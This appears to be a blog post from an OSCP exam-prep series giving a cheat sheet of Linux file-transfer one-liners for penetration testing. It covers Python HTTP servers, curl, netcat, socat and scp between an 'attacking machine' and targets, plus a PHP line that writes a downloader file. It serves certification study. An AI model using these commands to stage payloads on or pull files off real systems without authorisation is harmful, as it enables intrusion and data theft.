OSCP Blog Series – OSCP CheatSheet – Linux File Transfer Techniques
In the last post Windows File Transfer Techniques , we discussed about various techniques to transfer files to/from windows based targets. As we discussed earlier the windows based file transfer is quite complex as compared to Linux. So it’s really useful to have a cheatsheet with us while doing any Pentesting activities.
In this post, we will see various file transfer techniques for Linux based targets. So here is a compilation of Linux based file transfer techniques which will help us in our OSCP exercises/exam as well as other Pentesting activities.Apart from this, few of the windows based techniques can also be used for file transfer in Linux if you are able to install/enable those tools/utilities in Linux such as use of Powershell.
Kali Machine(Attacking machine)- We need to start the http server to serve the files so that other systems can access it.
python -m SimpleHTTPServer 80
python -m http.server 80
curl http://192.168.1.2/filename.txt -o filename.txt
nc -nlvp 4444 > outputfile.exe
nc -nv 192.168.1.2 4444 < /usr/inputfile.exe
socat TCP4-LISTEN:443,fork file:file.txt
socat TCP4:192.168.1.2:443 file:file.txt,create
scp /source/path/file.zip email@example.com:/destination/path/file.zip
echo "<?php file_put_contents('filename', fopen('http://192.168.1.2/filename', 'r')); ?>" > filename.php